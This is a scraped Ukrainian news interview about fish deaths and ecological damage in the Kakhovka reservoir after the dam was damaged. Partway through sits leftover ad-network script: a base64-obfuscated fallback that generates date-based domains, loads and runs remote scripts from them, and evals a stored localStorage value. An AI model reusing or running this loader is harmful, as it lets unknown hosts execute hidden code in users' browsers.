“Риба — це лише частина масштабних збитків”: заступник начальника запорізького рибпатруля Дмитро Євсєєв про наслідки екоциду росії на Каховському водосховищі

В січні 2023 року мешканців Запоріжжя приголомшило різке падінні рівня води в акваторії Дніпра та Каховського водосховища. Внаслідок свідомого пошкодження шлюзів Каховської ГЕС російськими окупаційними військами, відбулося дуже швидке обміління багатьох проток на нижньому б’єфі Дніпра. Журналісти Акцента неодноразово висвітлювали наслідки екологічного лиха, коли спеціалісти Запорізького рибоохоронного патруля разом з активістами рятували малька від загибелі та підраховували збитки. Днями ми поспілкувалися із заступником Управління Державного агентства меліорації та рибного господарства у Запорізькій області Дмитром Євсєєвим. Які наслідки на нас чекають, з якими видами риб будуть проблеми, та що робити, щоб врятувати наш Дніпро та Каховське водосховище — про це та інше читайте в нашій розмові.

-Розкажіть, коли почались проблеми на Дніпрі? Яким виявилось критичне падіння рівня води?

-Варто зазначити, що у всіх басейнах головних водних артерій України останні роки спостерігається несприятлива гідрологічна ситуація і показники близькі до критеріїв маловоддя. Іншими словами, брак опадів та високі температури влітку призводять до того, що у річках та водосховищах мало води і ця тенденція є довготривалою. Суттєве ж падіння рівня води в акваторії Каховського водосховища у межах Запорізької області вперше було зафіксувано на початку жовтня 2022 року. Згодом стало відомо про пошкодження Каховської ГЕС, але до якого рівня може впасти вода у Каховському водосховищі інформації не було. Нормальний рівень води для Каховського водосховища становить 16,1 м, а станом на 6 лютого 2023 року рівень становить 14,4 м. Тобто на сьогоднішній день можна констатувати, що вода впала приблизно на 1,7 м.

-Чи підраховані на сьогодні втрати живих біоресурсів. Яка кількість та які види риб постраждали?

-Відповідно до функціональних обов’язків Запорізький рибоохоронний патруль здійснює моніторинг стану водних біоресурсів та у разі виникнення явищ задухи інформує Державне агентство меліорації та рибного господарства України, Державну екологічну інспекцію Південного округу (Запорізька та Херсонська області) та Запорізьку обласну державну адміністрацію для можливого вжиття заходів.

Так, на початку січня було зафіксовано часткове осушення заплав Каховського водосховища та повідомлено вищезазначені відомства про несприятливу гідрологічну ситуацію.

13 січня 2023 року внаслідок значного падіння рівня води та під впливом мінусових температур виявлено факти загибелі водних біоресурсів в заплавах Каховського водосховища, а саме – заплави Сердюки, Партизани та Домаха.

Спільна комісія Запорізького рибоохоронного патруля та екологічної інспекції здійснили огляд акваторій, відбір зразків загиблої риби та розрахунок збитків, які станом на 6 лютого 2023 року становлять майже 107 млн. грн. Найбільше постраждала молодь таких видів риб як плітка, сазан, краснопірка, карась сріблястий, плоскирка та верхівка. Інші цінні види риб, такі як сом, судак, щука зустрічались у пробах значно у меншій кількості. Всього ж загинуло як мінімум 325 тис. екз. риби. Всі матеріали вже передано до прокуратури для проведення слідчих дій.

-Які наслідки на нас очікують?

-Варто зазначити, що і надалі зберігаються несприятливі умови для риби, яка опинилась у відокремлених протоках та може у подальшому теж загинути, відповідно і збитки можуть зрости. Тому, в першу чергу, нас очікує зменшення видового різноманіття цінних видів риб, передусім сазана, плітки та інших. Наразі неможливо спрогнозувати як ситуація розвиватиметься надалі та чи будуть ще втрати від загибелі та чи буде вода на нерестовищах. Тому що від осушення нерестовищ в першу чергу постраждають ранньо нереєструючі види риб, такі як щука та окунь. Наприклад, вже з 16 лютого почнеться заборона на вилов щуки у період її нересту. А на нерест їй заходити нікуди. Надалі, у квітні, розпочнеться фаза активного нересту основних видів риб Каховського водосховища і якщо нерестовища не будуть обводнені, ефективність природнього відтворення буде вкрай низька, тому що ікра не визріє і ми втратимо одне покоління риби. Це вже дуже великі збитки рибному господарству. Головне, що загальна площа нерестовищ Каховського водосховища становить близько 5% від загальної площі всього водосховища. Це вкрай мало, а сьогодні і ці 5% майже повністю осушені і не придатні для природнього відтворення.

-Як впливає загибель певних видів риб на існування інших в цій акваторії?

-Якщо розмірковувати глобально, то, певною мірою, буде порушено харчовий ланцюг. Коропових видів риб у найближчій перспективі буде значно менше і їх місце можуть зайняти менш цінні для людини інші види риб, які мають кращі адаптивні можливості та менш вибагливі до умов розмноження. Також внаслідок зменшення коропових видів риб можливе більш інтенсивне заростання мілководних ділянок вищою водною рослинністю, а на ділянках, де масово загинула риба внаслідок розкладання погіршаться умови існування і риба залишить ці акваторії.

Заступник начальника Запорізького рибоохоронного патруля Дмитро Євсєєв

-Що робити в даній ситуації, щоб відновити біоресурси? Скільки це займе часу? var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

Звісно, необхідно відремонтувати Каховську ГЕС. Якщо цього не зробити, ми і надалі втрачатимемо воду до рівня, на якому пошкоджено запірну шандору. З урахуваням ремонту затворів шлюзів, я так думаю потрібен десь рік, щоб відновити рівень води. Для відтворення біоресурсів потрібно порахувати збитки, це не тільки риба, але й кормова база, треба мати всі кількісні показники. Щоб повністю відновити всі біоресурси потрібен не один рік планових зариблень, мають бути державні програми. Необхідно залучити фахівців із профільних інститутів рибного господарства, щоб вони запропонували свої рішення.

Поодинокі рибалки та шукачі скарбів: як зараз виглядає Балабинська коса (ФОТО, ВІДЕО)

-Щось можна робити прямо зараз?

-Щоб зменшити негативні наслідки на місцевому рівні, необхідно діяти за трьома напрямами. По-перше, за можливості врятувати ще живу рибу у відокремлених заплавах. Наприклад, там, де було можливо, частину риби державні інспектори Запорізького рибоохоронного патруля та волонтери вже врятували на тих же заплавах Сердюки та Домаха. На території Крутоярівського лісництва споруджено тимчасову дамбу, яка не дає знижуватись рівню води, але це тимчасове вирішення проблеми. Тут справа в тому, що нинішній рівень Каховського водосховища нижчий за рівень осушених або частково осушених заплав. На ділянках, де є скупчення живої риби неможливо прорити меліоративні канали, тому що вода із заплав зійде, а риба залишиться і загине. Риба добре йде проти течії, а не за течією. В цьому і полягає головна складність порятунку ще живої риби.

Було б добре, якщо органи місцевого самоврядування здійснили роботи із механічної розчистки заплав. Наприклад, на заплаві Домаха, там де третій міст, спостерігається скупчення молоді окуня, судака, щуки та коропа. Ділянка для проведення робіт відносно невелика, а врятувати можливо цінні види риб. Так само можна вчинити на заплаві Сердюки. Дещо складніше і більший обсяг робіт у заплаві Партизани, Крутоярівському лісництві та Балабинській затоці.

По-друге, необхідно здійснити обводнення всієї заплавної частини. Це дуже капіталомісткий та масштабний проєкт, який потребуватиме державної підтримки.

По-третє, це цілеспрямоване вселення аборигенних та рослиноїдних видів риб. Певною мірою ці заходи наразі можливо провести за рахунок вселення підрощеної личинки ляща, сазана, судака. Тут варто пояснити, що разом із цінними видами риб, загинула велика кількість видів, які шкодять рибному господарству та знищують ікру та молодь сазана, ляща та інших. Мова йде про сонячного окуня, чебачка амурського та гірчака. Через зменшення кількості цих видів риб, заходи із вселення підрощеної личинки будуть більш ефективними і це дешевше, ніж вселяти одно або дволіток тих же сазанів, судака або щуки.

Внаслідок дій рф, що мають всі ознаки екоциду, в Дніпрі поблизу Запоріжжя загинули більше 325 000 екземплярів різних видів риб

-Чи підпадають дії окупантів під категорію екоциду? Які правові наслідки це матиме?

-Ми не уповноважені давати правову оцінку. Наразі всі наявні матеріали в прокуратурі та ведеться слідство, тому висновки робитимуть уповноважені на це органи влади. Але на мою особисту думку, ця ситуація що виникла внаслідок агресії російської федерації вже спричинила техногенну катастрофу. Щоб залучити значні кошти, потрібно визначати акваторію Каховського водосховища зоною екологічного лиха. Це мають бути і бюджетні кошти, може бути і грантова допомога інших країн, залучення громадськості, благодійні екологічні фонди. Тут тільки спільно можемо вирішити. Адже проблема стосується всієї європейської екосистеми. Нанесені колосальні збитки природно-заповідному фонду. У нас знаходиться багато заказників, національних парків, зокрема парк “Великий луг”. Через природно-заповідний фонд наших територій проходять міграційні коридори птахів. А зараз через обміління та нестачу кормової бази ситуація ще більше погіршується. Риба — це лише частина тих масштабних збитків, що нанесла російська федерація. І це не лише Запорізькій, Дніпропетровській та Херсоньскій областям. Це збитки для всієї України і європейської спільноти. Адже річка Дніпро є також частиною екосистеми всієї Європи. Ще раз повторююсь: потрібно об’єднувати зусилля і рятувати разом нашу екосистему.

Довідка. Екоци́д — масове знищення рослинного або тваринного світу, отруєння атмосфери або водних ресурсів, а також вчинення інших дій, що можуть спричинити екологічну катастрофу.

Особливо тяжкою формою екоциду є воєнний екоцид — порушення екосистем середовища проживання людини в результаті бойових дій, які мають військову і політичну ціль.

Міни поруч: запорожців попереджають про надзвичайну небезпеку на воді (ФОТО, ВІДЕО) Підписуйтесь на Акцент в

(adsbygoogle = window.adsbygoogle || []).push({});

Источник: https://akzent.zp.ua/riba-tse-lishe-chastina-masshtabnih-zbitkiv-zastupnik-nachalnika-zaporizkogo-ribpatrulya-dmitro-yevsyeyev-pro-naslidki-ekotsidu-rosiyi-na-kahovskomu-vodoshovishhi/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

Добавить комментарий

scroll to top